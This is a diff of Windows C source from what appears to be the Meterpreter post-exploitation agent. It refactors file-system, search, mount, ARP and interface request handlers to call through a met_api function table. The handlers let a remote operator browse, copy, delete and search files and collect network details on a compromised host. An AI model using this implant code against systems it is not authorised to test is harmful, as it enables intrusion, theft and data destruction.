met_api->packet.add_tlv_string(response, TLV_TYPE_DIRECTORY_PATH, directory);
|
||||
free(directory);
|
||||
}
|
||||
|
||||
return packet_transmit_response(result, remote, response);
|
||||
return met_api->packet.transmit_response(result, remote, response);
|
||||
}
|
||||
|
||||
/*
|
||||
@ -70,10 +71,10 @@ DWORD request_fs_getwd(Remote * remote, Packet * packet)
|
||||
*/
|
||||
DWORD request_fs_chdir(Remote * remote, Packet * packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
char *directory;
|
||||
DWORD result;
|
||||
directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH);
|
||||
directory = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH);
|
||||
|
||||
if (directory == NULL) {
|
||||
result = ERROR_INVALID_PARAMETER;
|
||||
@ -81,7 +82,7 @@ DWORD request_fs_chdir(Remote * remote, Packet * packet)
|
||||
result = fs_chdir(directory);
|
||||
}
|
||||
|
||||
return packet_transmit_response(result, remote, response);
|
||||
return met_api->packet.transmit_response(result, remote, response);
|
||||
}
|
||||
|
||||
/*
|
||||
@ -91,10 +92,10 @@ DWORD request_fs_chdir(Remote * remote, Packet * packet)
|
||||
*/
|
||||
DWORD request_fs_mkdir(Remote * remote, Packet * packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
char *directory;
|
||||
DWORD result;
|
||||
directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH);
|
||||
directory = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH);
|
||||
|
||||
if (directory == NULL) {
|
||||
result = ERROR_INVALID_PARAMETER;
|
||||
@ -102,7 +103,7 @@ DWORD request_fs_mkdir(Remote * remote, Packet * packet)
|
||||
result = fs_mkdir(directory);
|
||||
}
|
||||
|
||||
return packet_transmit_response(result, remote, response);
|
||||
return met_api->packet.transmit_response(result, remote, response);
|
||||
}
|
||||
|
||||
/*
|
||||
@ -112,10 +113,10 @@ DWORD request_fs_mkdir(Remote * remote, Packet * packet)
|
||||
*/
|
||||
DWORD request_fs_delete_dir(Remote * remote, Packet * packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
char *directory;
|
||||
DWORD result;
|
||||
directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH);
|
||||
directory = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH);
|
||||
|
||||
if (directory == NULL) {
|
||||
result = ERROR_INVALID_PARAMETER;
|
||||
@ -123,5 +124,5 @@ DWORD request_fs_delete_dir(Remote * remote, Packet * packet)
|
||||
result = fs_delete_dir(directory);
|
||||
}
|
||||
|
||||
return packet_transmit_response(result, remote, response);
|
||||
return met_api->packet.transmit_response(result, remote, response);
|
||||
}
|
||||
|
@ -1,5 +1,6 @@
|
||||
#include "precomp.h"
|
||||
#include "fs_local.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
#include <sys/stat.h>
|
||||
|
||||
@ -137,10 +138,10 @@ DWORD request_fs_file_channel_open(Remote *remote, Packet *packet)
|
||||
LPSTR expandedFilePath = NULL;
|
||||
|
||||
// Allocate a response
|
||||
response = packet_create_response(packet);
|
||||
response = met_api->packet.create_response(packet);
|
||||
|
||||
// Get the channel flags
|
||||
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
|
||||
flags = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_FLAGS);
|
||||
|
||||
// Allocate storage for the file context
|
||||
if (!(ctx = calloc(1, sizeof(FileContext)))) {
|
||||
@ -149,8 +150,8 @@ DWORD request_fs_file_channel_open(Remote *remote, Packet *packet)
|
||||
}
|
||||
|
||||
// Get the file path and the mode
|
||||
filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
|
||||
mode = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_MODE);
|
||||
filePath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
|
||||
mode = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_MODE);
|
||||
|
||||
if (mode == NULL) {
|
||||
mode = "rb";
|
||||
@ -174,22 +175,22 @@ DWORD request_fs_file_channel_open(Remote *remote, Packet *packet)
|
||||
|
||||
// Check the response allocation & allocate a un-connected
|
||||
// channel
|
||||
if ((!response) || (!(newChannel = channel_create_pool(0, flags, &chops)))) {
|
||||
if ((!response) || (!(newChannel = met_api->channel.create_pool(0, flags, &chops)))) {
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
goto out;
|
||||
}
|
||||
|
||||
// Add the channel identifier to the response
|
||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel));
|
||||
|
||||
out:
|
||||
// Transmit the packet if it's valid
|
||||
packet_transmit_response(res, remote, response);
|
||||
met_api->packet.transmit_response(res, remote, response);
|
||||
|
||||
// Clean up on failure
|
||||
if (res != ERROR_SUCCESS) {
|
||||
if (newChannel) {
|
||||
channel_destroy(newChannel, NULL);
|
||||
met_api->channel.destroy(newChannel, NULL);
|
||||
}
|
||||
free(ctx);
|
||||
}
|
||||
@ -202,11 +203,11 @@ out:
|
||||
*/
|
||||
DWORD request_fs_separator(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
|
||||
packet_add_tlv_string(response, TLV_TYPE_STRING, FS_SEPARATOR);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_STRING, FS_SEPARATOR);
|
||||
|
||||
return packet_transmit_response(ERROR_SUCCESS, remote, response);
|
||||
return met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
|
||||
}
|
||||
|
||||
|
||||
@ -218,13 +219,13 @@ DWORD request_fs_separator(Remote *remote, Packet *packet)
|
||||
*/
|
||||
DWORD request_fs_stat(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
struct meterp_stat buf;
|
||||
char *filePath;
|
||||
char *expanded = NULL;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
|
||||
filePath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
|
||||
|
||||
if (!filePath) {
|
||||
result = ERROR_INVALID_PARAMETER;
|
||||
@ -239,13 +240,13 @@ DWORD request_fs_stat(Remote *remote, Packet *packet)
|
||||
|
||||
result = fs_stat(expanded, &buf);
|
||||
if (0 == result) {
|
||||
packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, sizeof(buf));
|
||||
met_api->packet.add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, sizeof(buf));
|
||||
}
|
||||
|
||||
free(expanded);
|
||||
|
||||
out:
|
||||
return packet_transmit_response(result, remote, response);
|
||||
return met_api->packet.transmit_response(result, remote, response);
|
||||
}
|
||||
|
||||
/*
|
||||
@ -255,11 +256,11 @@ out:
|
||||
*/
|
||||
DWORD request_fs_delete_file(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
char *path;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
path = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
|
||||
path = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
|
||||
|
||||
if (!path) {
|
||||
result = ERROR_INVALID_PARAMETER;
|
||||
@ -267,7 +268,7 @@ DWORD request_fs_delete_file(Remote *remote, Packet *packet)
|
||||
result = fs_delete_file(path);
|
||||
}
|
||||
|
||||
return packet_transmit_response(result, remote, response);
|
||||
return met_api->packet.transmit_response(result, remote, response);
|
||||
}
|
||||
|
||||
/*
|
||||
@ -277,12 +278,12 @@ DWORD request_fs_delete_file(Remote *remote, Packet *packet)
|
||||
*/
|
||||
DWORD request_fs_file_expand_path(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
char *expanded = NULL;
|
||||
char *regular;
|
||||
|
||||
regular = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
|
||||
regular = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
|
||||
if (regular == NULL) {
|
||||
result = ERROR_INVALID_PARAMETER;
|
||||
goto out;
|
||||
@ -295,15 +296,15 @@ DWORD request_fs_file_expand_path(Remote *remote, Packet *packet)
|
||||
goto out;
|
||||
}
|
||||
|
||||
packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, expanded);
|
||||
met_api->packet.add_tlv_string(response, TLV_TYPE_FILE_PATH, expanded);
|
||||
free(expanded);
|
||||
out:
|
||||
return packet_transmit_response(result, remote, response);
|
||||
return met_api->packet.transmit_response(result, remote, response);
|
||||
}
|
||||
|
||||
DWORD request_fs_file_hash(Remote* remote, Packet* packet, ALG_ID hashType)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
char *filePath;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
HCRYPTPROV cryptProv = 0;
|
||||
@ -313,7 +314,7 @@ DWORD request_fs_file_hash(Remote* remote, Packet* packet, ALG_ID hashType)
|
||||
size_t ret;
|
||||
unsigned char buff[16384];
|
||||
|
||||
filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
|
||||
filePath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
|
||||
|
||||
do
|
||||
{
|
||||
@ -376,7 +377,7 @@ DWORD request_fs_file_hash(Remote* remote, Packet* packet, ALG_ID hashType)
|
||||
|
||||
dprintf("[FILE HASH] Successfully generated hash");
|
||||
|
||||
packet_add_tlv_raw(response, TLV_TYPE_FILE_HASH, buff, hashSize);
|
||||
met_api->packet.add_tlv_raw(response, TLV_TYPE_FILE_HASH, buff, hashSize);
|
||||
|
||||
} while (0);
|
||||
|
||||
@ -395,7 +396,7 @@ DWORD request_fs_file_hash(Remote* remote, Packet* packet, ALG_ID hashType)
|
||||
fclose(fd);
|
||||
}
|
||||
|
||||
return packet_transmit_response(result, remote, response);}
|
||||
return met_api->packet.transmit_response(result, remote, response);}
|
||||
|
||||
|
||||
/*
|
||||
@ -426,13 +427,13 @@ DWORD request_fs_sha1(Remote *remote, Packet *packet)
|
||||
*/
|
||||
DWORD request_fs_file_move(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
char *oldpath;
|
||||
char *newpath;
|
||||
|
||||
oldpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_NAME);
|
||||
newpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
|
||||
oldpath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_NAME);
|
||||
newpath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
|
||||
|
||||
if (!oldpath) {
|
||||
result = ERROR_INVALID_PARAMETER;
|
||||
@ -440,7 +441,7 @@ DWORD request_fs_file_move(Remote *remote, Packet *packet)
|
||||
result = fs_move(oldpath, newpath);
|
||||
}
|
||||
|
||||
return packet_transmit_response(result, remote, response);
|
||||
return met_api->packet.transmit_response(result, remote, response);
|
||||
}
|
||||
|
||||
/*
|
||||
@ -450,13 +451,13 @@ DWORD request_fs_file_move(Remote *remote, Packet *packet)
|
||||
*/
|
||||
DWORD request_fs_file_copy(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
char *oldpath;
|
||||
char *newpath;
|
||||
|
||||
oldpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_NAME);
|
||||
newpath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
|
||||
oldpath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_NAME);
|
||||
newpath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
|
||||
|
||||
if (!oldpath) {
|
||||
result = ERROR_INVALID_PARAMETER;
|
||||
@ -464,5 +465,5 @@ DWORD request_fs_file_copy(Remote *remote, Packet *packet)
|
||||
result = fs_copy(oldpath, newpath);
|
||||
}
|
||||
|
||||
return packet_transmit_response(result, remote, response);
|
||||
return met_api->packet.transmit_response(result, remote, response);
|
||||
}
|
||||
|
@ -2,6 +2,7 @@
|
||||
|
||||
#include "fs_local.h"
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
BOOL DeleteFolderWR(LPCWSTR szPath)
|
||||
{
|
||||
@ -111,7 +112,7 @@ char * fs_expand_path(const char *regular)
|
||||
wchar_t expanded_path[FS_MAX_PATH];
|
||||
wchar_t *regular_w;
|
||||
|
||||
regular_w = utf8_to_wchar(regular);
|
||||
regular_w = met_api->string.utf8_to_wchar(regular);
|
||||
if (regular_w == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
@ -123,7 +124,7 @@ char * fs_expand_path(const char *regular)
|
||||
|
||||
free(regular_w);
|
||||
|
||||
return wchar_to_utf8(expanded_path);
|
||||
return met_api->string.wchar_to_utf8(expanded_path);
|
||||
}
|
||||
|
||||
int fs_ls(const char *directory, fs_ls_cb_t cb, void *arg)
|
||||
@ -174,7 +175,7 @@ int fs_ls(const char *directory, fs_ls_cb_t cb, void *arg)
|
||||
}
|
||||
|
||||
WIN32_FIND_DATAW data;
|
||||
wchar_t *path_w = utf8_to_wchar(expanded);
|
||||
wchar_t *path_w = met_api->string.utf8_to_wchar(expanded);
|
||||
if (path_w == NULL) {
|
||||
result = GetLastError();
|
||||
goto out;
|
||||
@ -192,8 +193,8 @@ int fs_ls(const char *directory, fs_ls_cb_t cb, void *arg)
|
||||
break;
|
||||
}
|
||||
|
||||
char *filename = wchar_to_utf8(data.cFileName);
|
||||
char *short_filename = wchar_to_utf8(data.cAlternateFileName);
|
||||
char *filename = met_api->string.wchar_to_utf8(data.cFileName);
|
||||
char *short_filename = met_api->string.wchar_to_utf8(data.cAlternateFileName);
|
||||
char path[FS_MAX_PATH];
|
||||
|
||||
if (baseDirectory) {
|
||||
@ -223,7 +224,7 @@ out:
|
||||
int fs_chdir(const char *directory)
|
||||
{
|
||||
int rc = ERROR_SUCCESS;
|
||||
wchar_t *dir_w = utf8_to_wchar(directory);
|
||||
wchar_t *dir_w = met_api->string.utf8_to_wchar(directory);
|
||||
|
||||
if (dir_w == NULL) {
|
||||
rc = GetLastError();
|
||||
@ -242,7 +243,7 @@ out:
|
||||
int fs_delete_dir(const char *directory)
|
||||
{
|
||||
int rc = ERROR_SUCCESS;
|
||||
wchar_t *dir_w = utf8_to_wchar(directory);
|
||||
wchar_t *dir_w = met_api->string.utf8_to_wchar(directory);
|
||||
|
||||
if (dir_w == NULL) {
|
||||
rc = GetLastError();
|
||||
@ -261,7 +262,7 @@ out:
|
||||
int fs_delete_file(const char *path)
|
||||
{
|
||||
int rc = ERROR_SUCCESS;
|
||||
wchar_t *path_w = utf8_to_wchar(path);
|
||||
wchar_t *path_w = met_api->string.utf8_to_wchar(path);
|
||||
|
||||
if (path_w == NULL) {
|
||||
rc = GetLastError();
|
||||
@ -293,7 +294,7 @@ int fs_getwd(char **dir)
|
||||
goto out;
|
||||
}
|
||||
|
||||
*dir = wchar_to_utf8(dir_w);
|
||||
*dir = met_api->string.wchar_to_utf8(dir_w);
|
||||
if (*dir == NULL) {
|
||||
rc = GetLastError();
|
||||
}
|
||||
@ -305,8 +306,8 @@ out:
|
||||
int fs_move(const char *oldpath, const char *newpath)
|
||||
{
|
||||
int rc = ERROR_SUCCESS;
|
||||
wchar_t *old_w = utf8_to_wchar(oldpath);
|
||||
wchar_t *new_w = utf8_to_wchar(newpath);
|
||||
wchar_t *old_w = met_api->string.utf8_to_wchar(oldpath);
|
||||
wchar_t *new_w = met_api->string.utf8_to_wchar(newpath);
|
||||
|
||||
if ((old_w == NULL) || (new_w == NULL)) {
|
||||
rc = GetLastError();
|
||||
@ -326,8 +327,8 @@ out:
|
||||
int fs_copy(const char *oldpath, const char *newpath)
|
||||
{
|
||||
int rc = ERROR_SUCCESS;
|
||||
wchar_t *old_w = utf8_to_wchar(oldpath);
|
||||
wchar_t *new_w = utf8_to_wchar(newpath);
|
||||
wchar_t *old_w = met_api->string.utf8_to_wchar(oldpath);
|
||||
wchar_t *new_w = met_api->string.utf8_to_wchar(newpath);
|
||||
|
||||
if ((old_w == NULL) || (new_w == NULL)) {
|
||||
rc = GetLastError();
|
||||
@ -347,7 +348,7 @@ out:
|
||||
int fs_mkdir(const char *directory)
|
||||
{
|
||||
int rc = ERROR_SUCCESS;
|
||||
wchar_t *dir_w = utf8_to_wchar(directory);
|
||||
wchar_t *dir_w = met_api->string.utf8_to_wchar(directory);
|
||||
|
||||
if (dir_w == NULL) {
|
||||
rc = GetLastError();
|
||||
@ -376,8 +377,8 @@ int fs_fopen(const char *path, const char *mode, FILE **f)
|
||||
return ERROR_NOT_ENOUGH_MEMORY;
|
||||
}
|
||||
|
||||
wchar_t *path_w = utf8_to_wchar(expanded);
|
||||
wchar_t *mode_w = utf8_to_wchar(mode);
|
||||
wchar_t *path_w = met_api->string.utf8_to_wchar(expanded);
|
||||
wchar_t *mode_w = met_api->string.utf8_to_wchar(mode);
|
||||
|
||||
if ((path_w == NULL) || (mode_w == NULL)) {
|
||||
rc = ERROR_NOT_ENOUGH_MEMORY;
|
||||
@ -501,7 +502,7 @@ win32_wstat(const wchar_t* path, struct meterp_stat *result)
|
||||
|
||||
int fs_stat(char *filename, struct meterp_stat *buf)
|
||||
{
|
||||
wchar_t *filename_w = utf8_to_wchar(filename);
|
||||
wchar_t *filename_w = met_api->string.utf8_to_wchar(filename);
|
||||
if (filename_w == NULL) {
|
||||
return -1;
|
||||
}
|
||||
|
@ -1,4 +1,5 @@
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
#pragma comment(lib, "mpr.lib")
|
||||
|
||||
@ -8,7 +9,7 @@
|
||||
DWORD request_fs_mount_show(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
|
||||
CHAR driveStrings[DRIVE_STRINGS_LEN] = { 0 };
|
||||
|
||||
@ -25,12 +26,12 @@ DWORD request_fs_mount_show(Remote *remote, Packet *packet)
|
||||
{
|
||||
dprintf("[MOUNT] Drive found: %s", d);
|
||||
|
||||
Packet* driveData = packet_create_group();
|
||||
Packet* driveData = met_api->packet.create_group();
|
||||
UINT driveType = GetDriveTypeA(d);
|
||||
dprintf("[MOUNT] %s drive type %u (0x%x)", d, driveType, driveType);
|
||||
|
||||
packet_add_tlv_string(driveData, TLV_TYPE_MOUNT_NAME, d);
|
||||
packet_add_tlv_uint(driveData, TLV_TYPE_MOUNT_TYPE, driveType);
|
||||
met_api->packet.add_tlv_string(driveData, TLV_TYPE_MOUNT_NAME, d);
|
||||
met_api->packet.add_tlv_uint(driveData, TLV_TYPE_MOUNT_TYPE, driveType);
|
||||
|
||||
// get network UNC path if it's a network drive
|
||||
if (driveType == DRIVE_REMOTE)
|
||||
@ -49,7 +50,7 @@ DWORD request_fs_mount_show(Remote *remote, Packet *packet)
|
||||
UNIVERSAL_NAME_INFOA* nameInfo = (UNIVERSAL_NAME_INFOA*)buffer;
|
||||
if (nameInfo->lpUniversalName)
|
||||
{
|
||||
packet_add_tlv_string(driveData, TLV_TYPE_MOUNT_UNCPATH, nameInfo->lpUniversalName);
|
||||
met_api->packet.add_tlv_string(driveData, TLV_TYPE_MOUNT_UNCPATH, nameInfo->lpUniversalName);
|
||||
}
|
||||
}
|
||||
else
|
||||
@ -68,16 +69,16 @@ DWORD request_fs_mount_show(Remote *remote, Packet *packet)
|
||||
dprintf("[MOUNT] %s getting free space ...", d);
|
||||
if (GetDiskFreeSpaceExA(d, &userFreeBytes, &totalBytes, &totalFreeBytes) != 0)
|
||||
{
|
||||
packet_add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_USER, userFreeBytes.QuadPart);
|
||||
packet_add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_TOTAL, totalBytes.QuadPart);
|
||||
packet_add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_FREE, totalFreeBytes.QuadPart);
|
||||
met_api->packet.add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_USER, userFreeBytes.QuadPart);
|
||||
met_api->packet.add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_TOTAL, totalBytes.QuadPart);
|
||||
met_api->packet.add_tlv_qword(driveData, TLV_TYPE_MOUNT_SPACE_FREE, totalFreeBytes.QuadPart);
|
||||
}
|
||||
|
||||
packet_add_group(response, TLV_TYPE_MOUNT, driveData);
|
||||
met_api->packet.add_group(response, TLV_TYPE_MOUNT, driveData);
|
||||
}
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
@ -11,6 +11,7 @@
|
||||
*/
|
||||
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
#include "fs.h"
|
||||
#include "fs_local.h"
|
||||
#include "search.h"
|
||||
@ -20,19 +21,19 @@
|
||||
*/
|
||||
VOID search_add_result(Packet * pResponse, wchar_t *directory, wchar_t *fileName, DWORD dwFileSize)
|
||||
{
|
||||
char *dir = wchar_to_utf8(directory);
|
||||
char *file = wchar_to_utf8(fileName);
|
||||
char *dir = met_api->string.wchar_to_utf8(directory);
|
||||
char *file = met_api->string.wchar_to_utf8(fileName);
|
||||
|
||||
dprintf("[SEARCH] Found: %s\\%s", dir, file);
|
||||
|
||||
if (dir && file) {
|
||||
Packet* group = packet_create_group();
|
||||
Packet* group = met_api->packet.create_group();
|
||||
|
||||
packet_add_tlv_string(group, TLV_TYPE_FILE_PATH, dir);
|
||||
packet_add_tlv_string(group, TLV_TYPE_FILE_NAME, file);
|
||||
packet_add_tlv_uint(group, TLV_TYPE_FILE_SIZE, dwFileSize);
|
||||
met_api->packet.add_tlv_string(group, TLV_TYPE_FILE_PATH, dir);
|
||||
met_api->packet.add_tlv_string(group, TLV_TYPE_FILE_NAME, file);
|
||||
met_api->packet.add_tlv_uint(group, TLV_TYPE_FILE_SIZE, dwFileSize);
|
||||
|
||||
packet_add_group(pResponse, TLV_TYPE_SEARCH_RESULTS, group);
|
||||
met_api->packet.add_group(pResponse, TLV_TYPE_SEARCH_RESULTS, group);
|
||||
}
|
||||
|
||||
free(dir);
|
||||
@ -799,17 +800,17 @@ DWORD request_fs_search(Remote * pRemote, Packet * pPacket)
|
||||
|
||||
dprintf("[SEARCH] request_fs_search. Starting.");
|
||||
|
||||
pResponse = packet_create_response(pPacket);
|
||||
pResponse = met_api->packet.create_response(pPacket);
|
||||
if (!pResponse) {
|
||||
dprintf("[SEARCH] request_fs_search: pResponse == NULL");
|
||||
return ERROR_INVALID_HANDLE;
|
||||
}
|
||||
|
||||
options.rootDirectory = utf8_to_wchar(
|
||||
packet_get_tlv_value_string(pPacket, TLV_TYPE_SEARCH_ROOT));
|
||||
options.rootDirectory = met_api->string.utf8_to_wchar(
|
||||
met_api->packet.get_tlv_value_string(pPacket, TLV_TYPE_SEARCH_ROOT));
|
||||
|
||||
options.glob = utf8_to_wchar(
|
||||
packet_get_tlv_value_string(pPacket, TLV_TYPE_SEARCH_GLOB));
|
||||
options.glob = met_api->string.utf8_to_wchar(
|
||||
met_api->packet.get_tlv_value_string(pPacket, TLV_TYPE_SEARCH_GLOB));
|
||||
|
||||
if (options.rootDirectory && wcslen(options.rootDirectory) == 0) {
|
||||
free(options.rootDirectory);
|
||||
@ -829,7 +830,7 @@ DWORD request_fs_search(Remote * pRemote, Packet * pPacket)
|
||||
|
||||
dprintf("[SEARCH] root: '%S' glob: '%S'", options.rootDirectory, options.glob);
|
||||
|
||||
options.bResursive = packet_get_tlv_value_bool(pPacket, TLV_TYPE_SEARCH_RECURSE);
|
||||
options.bResursive = met_api->packet.get_tlv_value_bool(pPacket, TLV_TYPE_SEARCH_RECURSE);
|
||||
|
||||
if (!options.glob) {
|
||||
options.glob = L"*.*";
|
||||
@ -870,7 +871,7 @@ DWORD request_fs_search(Remote * pRemote, Packet * pPacket)
|
||||
|
||||
if (pResponse)
|
||||
{
|
||||
dwResult = packet_transmit_response(dwResult, pRemote, pResponse);
|
||||
dwResult = met_api->packet.transmit_response(dwResult, pRemote, pResponse);
|
||||
}
|
||||
|
||||
wds_shutdown(&WDSInterface);
|
||||
|
@ -1,5 +1,7 @@
|
||||
#include "precomp.h"
|
||||
|
||||
#include "common_metapi.h"
|
||||
|
||||
extern DWORD request_audio_output_channel_open(Remote *remote, Packet *packet);
|
||||
extern DWORD request_net_tcp_client_channel_open(Remote *remote, Packet *packet);
|
||||
extern DWORD request_net_tcp_server_channel_open(Remote *remote, Packet *packet);
|
||||
@ -34,17 +36,16 @@ DWORD request_general_channel_open(Remote *remote, Packet *packet)
|
||||
do
|
||||
{
|
||||
// Get the requested channel type
|
||||
channelType = packet_get_tlv_value_string(packet,
|
||||
TLV_TYPE_CHANNEL_TYPE);
|
||||
channelType = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_CHANNEL_TYPE);
|
||||
|
||||
// No channel? Lame.
|
||||
if (!channelType)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
// Enumerate the channel type dispatch table searching for a match
|
||||
for (index = 0;
|
||||
channel_open_handlers[index].type;
|
||||
index++)
|
||||
for (index = 0; channel_open_handlers[index].type; index++)
|
||||
{
|
||||
if (!strcmp(channel_open_handlers[index].type, channelType))
|
||||
{
|
||||
|
@ -1,5 +1,7 @@
|
||||
#include "precomp.h"
|
||||
|
||||
#include "common_metapi.h"
|
||||
|
||||
DWORD get_arp_table(Remote *remote, Packet *response)
|
||||
{
|
||||
PMIB_IPNETTABLE pIpNetTable = NULL;
|
||||
@ -49,7 +51,7 @@ DWORD get_arp_table(Remote *remote, Packet *response)
|
||||
arp[2].header.length = (DWORD)strlen(interface_index) + 1;
|
||||
arp[2].buffer = (PUCHAR)interface_index;
|
||||
|
||||
packet_add_tlv_group(response, TLV_TYPE_ARP_ENTRY, arp, 3);
|
||||
met_api->packet.add_tlv_group(response, TLV_TYPE_ARP_ENTRY, arp, 3);
|
||||
}
|
||||
}
|
||||
free(pIpNetTable);
|
||||
@ -68,12 +70,12 @@ DWORD get_arp_table(Remote *remote, Packet *response)
|
||||
*/
|
||||
DWORD request_net_config_get_arp_table(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
DWORD result;
|
||||
|
||||
result = get_arp_table(remote, response);
|
||||
|
||||
packet_transmit_response(result, remote, response);
|
||||
met_api->packet.transmit_response(result, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -1,4 +1,5 @@
|
||||
#include "precomp.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
#include <iptypes.h>
|
||||
#include <ws2ipdef.h>
|
||||
@ -42,28 +43,28 @@ DWORD get_interfaces_mib(Remote *remote, Packet *response)
|
||||
// Enumerate the entries
|
||||
for (index = 0; index < table->dwNumEntries; index++)
|
||||
{
|
||||
Packet* group = packet_create_group();
|
||||
Packet* group = met_api->packet.create_group();
|
||||
|
||||
packet_add_tlv_uint(group, TLV_TYPE_INTERFACE_INDEX, table->table[index].dwIndex);
|
||||
packet_add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&table->table[index].dwAddr, sizeof(DWORD));
|
||||
packet_add_tlv_raw(group, TLV_TYPE_NETMASK, (PUCHAR)&table->table[index].dwMask, sizeof(DWORD));
|
||||
met_api->packet.add_tlv_uint(group, TLV_TYPE_INTERFACE_INDEX, table->table[index].dwIndex);
|
||||
met_api->packet.add_tlv_raw(group, TLV_TYPE_IP, (PUCHAR)&table->table[index].dwAddr, sizeof(DWORD));
|
||||
met_api->packet.add_tlv_raw(group, TLV_TYPE_NETMASK, (PUCHAR)&table->table[index].dwMask, sizeof(DWORD));
|
||||
|
||||
iface.dwIndex = table->table[index].dwIndex;
|
||||
|
||||
// If interface information can get gotten, use it.
|
||||
if (GetIfEntry(&iface) == NO_ERROR)
|
||||
{
|
||||
packet_add_tlv_raw(group, TLV_TYPE_MAC_ADDR, (PUCHAR)iface.bPhysAddr, iface.dwPhysAddrLen);
|
||||
packet_add_tlv_uint(group, TLV_TYPE_INTERFACE_MTU, iface.dwMtu);
|
||||
met_api->packet.add_tlv_raw(group, TLV_TYPE_MAC_ADDR, (PUCHAR)iface.bPhysAddr, iface.dwPhysAddrLen);
|
||||
met_api->packet.add_tlv_uint(group, TLV_TYPE_INTERFACE_MTU, iface.dwMtu);
|
||||
|
||||
if (iface.bDescr)
|
||||
{
|
||||
